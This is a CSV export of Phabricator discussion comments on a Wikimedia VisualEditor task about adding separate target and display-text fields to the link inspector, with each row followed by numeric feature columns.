+759926,VisualEditor: Link input widget should have separate inputs for target and display text,What matma said.,,,1478931953,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+759806,VisualEditor: Link input widget should have separate inputs for target and display text,"> As I understand it, the main problem occurs when adding a link without any previous text selection.
+
+I think the biggest problem here is in editing links.
+
+For example, a user is editing a sentence like `[[Tim Berners-Lee]] was born in [[1965]].` and wishes to correct the typo (he was actually born in 1955). Editing the visible text in VisualEditor without correcting the link target will result in `[[1965|1955]]`; editing the link target without correcting the text will result in `[[1955|1965]]`; both of these mistakes are easy to make in the current interface and difficult to spot when reviewing, if you're not looking at the wikitext source code.",,,1478892137,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,175,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+759793,VisualEditor: Link input widget should have separate inputs for target and display text,"I think it is important to separate the problem from possible solutions. As I understand it, the main problem occurs when adding a link without any previous text selection. In that context, the way to add a label has not much visibility. This generates confusion about where is the label supposed to be edited and makes it difficult workflows based on a different order than the one supported by default.
+
+Provide a separate field for the link label as suggested above, makes label editing more explicit, but it is duplicating content that is already in the document which causes some different problems.
+
+I was trying to explore a way to make the label editing more inviting right where it is going to be, without any duplication:
+
+{F4716647}
+
+When adding a link with no selection, instead of showing no content in the text, a placeholder element can be added in-place (styled similar to the link that it will become later) for the user to indicate the label, while a selector can be also available to pick the link target.
+
+The content provided by the user in one field can inform the other (e.g., if I write ""rice"" as label, the Rice article should be among the suggestions when I click on the page search).
+
+This is just a rough idea, but I'm curious to hear whether a solution along these lines is considered to help with the issue identified, or use it to identify which parts of the problem that I may be missing.",,,1478889614,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+758347,VisualEditor: Link input widget should have separate inputs for target and display text,"> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?
+
+Most likely we will just not support cases where the link contains non-text through this particular interface, but they aren't that common.",,,1478705462,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,175,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,1,1
+757555,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2777160, @Quiddity wrote:
+>>>! In T55973#2775922, @Trizek-WMF wrote:
+>> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?
+> 
+> Is that a regular pattern somewhere? I don't think I've seen it used before, and am interested to see examples.
+
+I've quick-searched on articles I've written and found that exemple [[https://fr.wikipedia.org/w/index.php?title=Mod%C3%A9lisme_ferroviaire&action=edit&section=33|here]]:  `''[[Gorre & Daphetid Railroad|{{lang|en|Gorre & Daphetid Railroad}}]]''` 
+
+I've also searched (ctrl+F) on [[https://fr.wikipedia.org/w/index.php?title=Histoire%20du%20communisme&action=edit|Histoire du communisme]], the biggest article on fr.wp, where I've found:
+* `[[groupe Barta|{{citation|groupe Barta}}]] ` or `[[De chacun selon ses moyens, à chacun selon ses besoins|{{citation|De chacun selon ses facultés, à chacun selon ses besoins}}]]`
+* `[[Kang Kek Ieu|{{citation|Douch}}]]`
+
+There is also cases like `[[1er octobre|{{1er}} octobre]]` or `[[18e congrès national du Parti communiste chinois|{{18e|congrès}} national]]`.
+
+Some cases can be rewritten for sure, but not always.",,,1478601347,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,1,1
+757126,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2775922, @Trizek-WMF wrote:
+> How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?
+
+Is that a regular pattern somewhere? I don't think I've seen it used before, and am interested to see examples.
+",,,1478541625,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+757112,VisualEditor: Link input widget should have separate inputs for target and display text,"One reason to consider keeping the internal-labels is that they're easier to slip into the existing MW extension version of the link inspector, since that has to accommodate the wiki search results alongside the fields.",,,1478540932,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+756816,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2769070, @Quiddity wrote:
+
+> Losing occasional text-formatting is an acceptable compromise.
+
+I've slept on that and now I agree.
+
+>>! In T55973#2773796, @Esanders wrote:
+> Inline labels:
+> 
+> {F4698802}
+> 
+> Google docs for comparison:
+> 
+> {F4698804}
+> 
+> I think focusing the link field first, and labelling it ""link"" instead of ""target"" (which is a bit technical) will help. We could also live-update the link as the text field is changed, which would avoid surprises when 'done' is clicked.
+
+I think that's the best for a link made on a raw text.
+How do you deal with something like `[[Parrot|{{lang|fr|perroquet}}]]`, where the label is built on a template?",,,1478518303,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,175,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1
+756339,VisualEditor: Link input widget should have separate inputs for target and display text,"Inline labels:
+
+{F4698802}
+
+Google docs for comparison:
+
+{F4698804}
+
+I think focusing the link field first, and labelling it ""link"" instead of ""target"" (which is a bit technical) will help. We could also live-update the link as the text field is changed, which would avoid surprises when 'done' is clicked.",,,1478360692,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+755492,VisualEditor: Link input widget should have separate inputs for target and display text,"> Use a 'placeholder' and insert an invisible label somewhere for accessibility.
+Worth considering that the common-case here is (probably) editing an already-existing internal-wiki link. With a placeholder as the only distinction, that's going to look like this:
+
+{F4693560}
+
+...which is perhaps initially confusing.
+
+Then the secondary case is editing an external link, where keeping the URL field as wide as possible is preferred, because URLs can get pretty long. The advantage of the internal label there is that it really is pretty space-efficient -- no added vertical size, and it's a compact horizontal representation.",,,1478203630,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+755485,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2763929, @matmarex wrote:
+> * Just use a FieldLayout :)
+> * Use a 'placeholder' and insert an invisible label somewhere for accessibility.
+
+
+* This would make the inspector much taller, which may or may not be acceptable.
+* When editing the link both fields will be non-empty so the placeholder will never be seen.
+
+Google Docs uses an inline label, which may severely reduce the width if we need to make room for all languages, but this should be considered too.",,,1478203101,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+755350,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
+> And what if we only display a read-only text for the label?
+> 
+> Label: //2013//
+> Target: 2014
+> 
+> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.
+
+That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.
+
+I.e. As an experienced wikitext editor, I'm accustomed to writing/pasting the link first, and then writing/pasting the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.
+
+I really like the design given in T55973#2761021 above.
+Losing occasional text-formatting is an acceptable compromise.",,,1478194854,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+755347,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
+> And what if we only display a read-only text for the label?
+> 
+> Label: //2013//
+> Target: 2014
+> 
+> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.
+
+That would leave a primary use-case as very difficult - pasting or writing a complete replacement for the link label.
+
+I.e. As an experienced wikitext editor, I'm accustomed to pasting the link first, and then writing the label after a space or pipe. -- With VE, it is hard to select the entire label, in order to paste my clipboard on top, or in order to write it from scratch.
+
+I really like the design given in T55973#2761021 above.
+Losing occasional text-formatting is an acceptable compromise.",,,1478194804,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+755322,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2768853, @Trizek-WMF wrote:
+> And what if we only display a read-only text for the label?
+> 
+> Label: //2013//
+> Target: 2014
+> 
+> That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.
+
+This is another good option (I may have suggested it in the past).
+
+ps Note that we will be able to handle the example you gave just fine because the annotation (italic) spans the whole link. A better example would be:
+
+Label: Season //2014//
+Target: Season 2014",,,1478193377,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+755307,VisualEditor: Link input widget should have separate inputs for target and display text,"And what if we only display a read-only text for the label?
+
+Label: //2013//
+Target: 2014
+
+That way, people will notice there is something wrong and will be able to correct the text afterwards, using the full potential of VE.",,,1478192130,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+755303,VisualEditor: Link input widget should have separate inputs for target and display text,"I do agree that showing wikitext is the wrong way to go. This is a prime user-facing tool, which a majority of users are going to be interacting with regularly, not something far more power-usery like templates.
+
+If we want to preserve the rare cases of internal formatting, we should go all out and have a VE surface inside the inspector... which I think makes it far too heavy for what's normally an incredibly quick action.
+
+Technically, I suppose there's alternatives like diffing/merging the change to the label so that we keep the annotations if the section they cover wasn't touched. But that's a bunch more work on our end, and moves towards being too magic for the user to understand why the formatting sometimes stays and sometimes goes.",,,1478191646,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1,1,0,0,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+755295,VisualEditor: Link input widget should have separate inputs for target and display text,"Also, as a volunteer, I don't want to hear ""quotes on the text are making italics, that's a bug"" from a newbie. That's a request for my personal comfort, Sherry ;)
+
+>>! In T55973#2768788, @Esanders wrote:
+> Showing wikitext is not the right thing to do. Links with *partial* formatting are very rare, and editing their text rarer. Even in those cases the user can just edit the text directly. If the user edits the label in this very rare case they will get immediate visual feedback of the change. Let's not make perfect the enemy of the good.
+
+Wise words!
+
+",,,1478190964,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+755293,VisualEditor: Link input widget should have separate inputs for target and display text,"Showing wikitext is not the right thing to do. Links with *partial* formatting are very rare, and editing their text rarer. Even in those cases the user can just edit the text directly. If the user edits the label in this very rare case they will get immediate visual feedback of the change. Let's not make perfect the enemy of the good.",,,1478190826,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+755281,VisualEditor: Link input widget should have separate inputs for target and display text,"Rich display would be nicer (but take up a lot of space).  OTOH, given a link such as `[[Example|the ''blue'' picture]]`, I'd rather see 
+
+```
+the ''blue'' picture
+Example
+```
+
+rather than 
+
+```
+the blue picture
+Example
+``` 
+
+– especially when the second item will silently remove the italics if I touch it.
+",,,1478189876,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+754975,VisualEditor: Link input widget should have separate inputs for target and display text,"No wikitext displayed, please! ",,,1478166975,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+754833,VisualEditor: Link input widget should have separate inputs for target and display text,"@DLynch, would it be easy enough to make it show wikitext rather than ""plain text"" (i.e., like the template dialog does for parameters)?  Having the internal annotations silently disappear might be annoying (for the very small percentage of links that contain internal annotations).",,,1478136737,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+754032,VisualEditor: Link input widget should have separate inputs for target and display text,"The patch currently behaves as:
+
+* If there's any block-level content in the link (e.g. an image), it disables the label field. (Cue taken from Google Docs, which completely hides the field in this case.)
+* If there's annotations on the content (bold, italic, etc), the field is enabled, and contains the plain text version. Making a change to its contents will remove all internal annotations from the link. (i.e. if it's in a block of bold text, it'll stay bold, but if part of the inside was bold, that'll be lost)",,,1478105014,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+754029,VisualEditor: Link input widget should have separate inputs for target and display text,"I'm glad this is being worked on.
+
+>>! In T55973#2761021, @DLynch wrote:
+> {F4685690}
+> 
+> (Prior to any Design feedback.)
+
+Please don't use these weird right-side labels. TextInputWidget's 'label' option should never have been created. :/
+
+Unless design folks invent something new, there are two options that would be consistent with existing interfaces:
+* Just use a FieldLayout :)
+* Use a 'placeholder' and insert an invisible label somewhere for accessibility.",,,1478104836,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,174,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+754026,VisualEditor: Link input widget should have separate inputs for target and display text,">>! In T55973#2763892, @DLynch wrote:
+> The other options I came up with are context item:
+> {F4688837}
+> (With attendant ""we need to think up an icon that intuitively symbolizes 'select all'"" dilemma, which nobody else seems to have really cracked. My favorite, after a bunch of searching, was [Blackberry's](https://help.blackberry.com/en/blackberry-leap/10.3.1/help/hjo1405445343190_hiresdevice_en-us.png))
+> 
+> Or inspector:
+> {F4688838}
+
+I'm pretty sure that people will not edit the label with that version. Edit label is not as obvious as it is on your first proposal with two separate fields.
+
+Speaking of which, how do you deal with a label which includes some wikitext formatting, like bold or, worse, an in-line template?",,,1478104532,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+754012,VisualEditor: Link input widget should have separate inputs for target and display text,"The other options I came up with are context item:
+{F4688837}
+(With attendant ""we need to think up an icon that intuitively symbolizes 'select all'"" dilemma, which nobody else seems to have really cracked. My favorite, after a bunch of searching, was [Blackberry's](https://help.blackberry.com/en/blackberry-leap/10.3.1/help/hjo1405445343190_hiresdevice_en-us.png))
+
+Or inspector:
+{F4688838}",,,1478102871,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+753324,VisualEditor: Link input widget should have separate inputs for target and display text,"{F4685690}
+
+(Prior to any Design feedback.)",,,1478028816,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,174,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+709658,VisualEditor: Link input widget should have separate inputs for target and display text,"Regular users have a really understand creating a mental model of how links work, especially when the label (nearly) matches the target. Having both side by side in the edit area makes it a lot clearer what is going on. More experienced users will be able to use the edit surface as designed.",,,1470870679,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+709654,VisualEditor: Link input widget should have separate inputs for target and display text,"To elaborate slightly, 303956,2 adds some protection in to make sure it won't replace the current label text if it hasn't been changed from its initial value, so even internal annotations will be preserved if you're only editing the target.",,,1470870456,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,162,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+709653,VisualEditor: Link input widget should have separate inputs for target and display text,"Moving from gerrit:
+
+**James F:**
+This creates a TextInputWidget which is just wrong; the contents covered by the link annotation could be anything up to and including <span>s, <img>s and so on; this would need to be a complete SurfaceWidget, which would totally dominate this inspector and destroy the whole design of it being a lightweight, simple control. I'm pretty strongly against this change for exactly this reason.
+
+**David L:**
+James: This is totally cribbing from Google Docs' design for link labels. It shows the field... if the label is simple. If it's not simple, it hides it. That lets us give people a field that works in most cases, and won't break anything otherwise.
+Admittedly, I just have it *disabled* if it's not-simple, on the theory that might be less confusing, but I could go full-hidden.
+
+**Ed S:**
+That is technically true, however in almost all cases additional annotations to the link are covering, and can be preserved. This is the same behaviour as Google Docs. Links containing content (e.g. img) are many times rarer still. For these cases we can block/and or warn (or not).",,,1470870390,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+709364,VisualEditor: Link input widget should have separate inputs for target and display text,"To clarify the issue about ""display text"", both Google Docs and the patch above will maintain all covering annotations, but will remove any partial annotations if the text is edited (e.g. <a><b><i>He</i>llo</b></a> -> <a><b>Bye</b></a>). Also if the label contains any non-text (e.g. an inline image) it will be uneditable, but this is a very rare edge case.
+
+This should also make the editing of external links and numbered external links a bit cleaner, getting rid of the 'add label' button for numbered external links.",,,1470850953,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,True,,,162,,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+708983,VisualEditor: Link input widget should have separate inputs for target and display text,"Change 303956 had a related patch set uploaded (by DLynch):
+LinkAnnotationInspector: add a ""label"" field
+
+[[https://gerrit.wikimedia.org/r/303956]]
+",,,1470789051,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g66fda6j3q2ga6eul3do,task_subcomment,,True,c1,3,False,,,162,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
